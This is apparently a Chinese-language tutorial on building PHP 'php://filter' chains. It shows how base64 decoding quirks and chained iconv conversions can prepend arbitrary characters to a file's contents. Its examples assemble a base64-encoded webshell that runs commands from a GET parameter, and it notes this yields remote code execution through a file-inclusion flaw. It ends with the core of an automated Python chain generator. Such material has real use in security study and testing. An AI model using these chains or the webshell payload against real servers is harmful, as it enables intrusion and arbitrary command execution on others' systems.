通过php函数的分析解析php的filter链构造
php-base64函数特性分析
<1>base64解码时,要求所传参数为4的倍数,如果所传参数不是4的倍数呢,我们来逐个分析
所传参数位数为4*n+1
此时并不影响解码的结果,相当于删除最后一位后解码
所传参数位数为4*n+2
此时运行相当于自动补全两个等号后解码
所传参数位数为4*n+3
此时相当于自动补全一个等号后解码
<2>base64解码时,会忽略其中的非字母数字+/=,其中对于不在末尾的等号,也会进行忽略
<3>对于一个已经能够解码的字符串,在其后面无论加入多少字符,都不会影响该字符串的解码结果
编码过滤器的特性
过滤器的叠加组合,可以在原始字符前添加一些字符,我们来看下面的例子
1 2 3 4 5 <?php echo file_get_contents ("php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,sunrt" ); 运行结果: $)Csunrt
我们发现,多了几个字符,但是,我们说过前面base64的特性,在解码时,会忽略掉非数字字符+/=,那如果我们添加base64decode过滤器,再添加base64encode过滤器,那么这些字符就会消失,只留下C字符
1 2 3 4 5 6 7 8 <?php echo file_get_contents ("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,sunrt" )."\n" ;echo base64_encode (base64_decode ("Csunrt" ));运行结果: Csunrg== Csunrg==
此时我们完成了一项任务,就是在已有的数据前面,再次添加别的字符,我们能看到,运行的结果稍稍改变了原有的字符,这不重要,因为改变的往往都是最后的字符,我们只要保证添加的字符不被改变就行,此时我们完成了一个字符的添加,这远远不够,一个字符改变不了任何东西,那么如何添加更多的字符呢,我们来看
1 2 3 4 5 6 <?php echo file_get_contents ("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE/resource=data://,sunrt" )."\n" ;运行结果: ÷å4 sunrt
不出所料的话,添加base64过滤器后,就会向原始数据前面添加4
1 2 3 4 5 6 <?php echo file_get_contents ("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt" )."\n" ;运行结果: 4 sunrg==
那么,添加4C就可以这样做
1 2 3 4 5 6 7 <?php echo file_get_contents ("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt" )."\n" ;运行结果: 4 Csunrg=
只需要简单的拼接,就能够添加多个字符,但是此时只能添加base64_decode函数认证的字符,也就是字母数字+/=,对我们来说限制还是很大,因为恶意代码肯定带有字符
要解决这个问题,其实也很简单,就是我们构造一串恶意代码的base64编码值,那这个编码值,肯定是字母数字+/=,最后我们再次添加一个base64-decode过滤器,此时,恶意代码就会被还原
比如我们想要构造=`$_GET[0]`;;?>,那么直接构造PD89YCRfR0VUWzBdYDs7Pz4=即可,构造完成后,直接再次在构造的末尾添加|convert.base64-decode即可,此时恶意代码就会被解码,如果存在包含漏洞,那就可以RCE了
想要构造的字符哪里来
第一种当然是写脚本,慢慢尝试了,但是已经有人替我们整理好了: 字符的整理
用于梭哈的脚本以及脚本的分析
梭哈脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def generate_filter_chain (chain, debug_base64 = False ): encoded_chain = chain filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " return final_payload
上面为节选的核心代码,唯一不同的是,前面多了一些东西,和每次循环后面多了convert.iconv.UTF8.UTF7|,这个是为了去除空格,前面多的则是,当我们包含的文件为空时,使字符能够正常添加与解析,这两处细节影响不大,懂前面的添加字符即可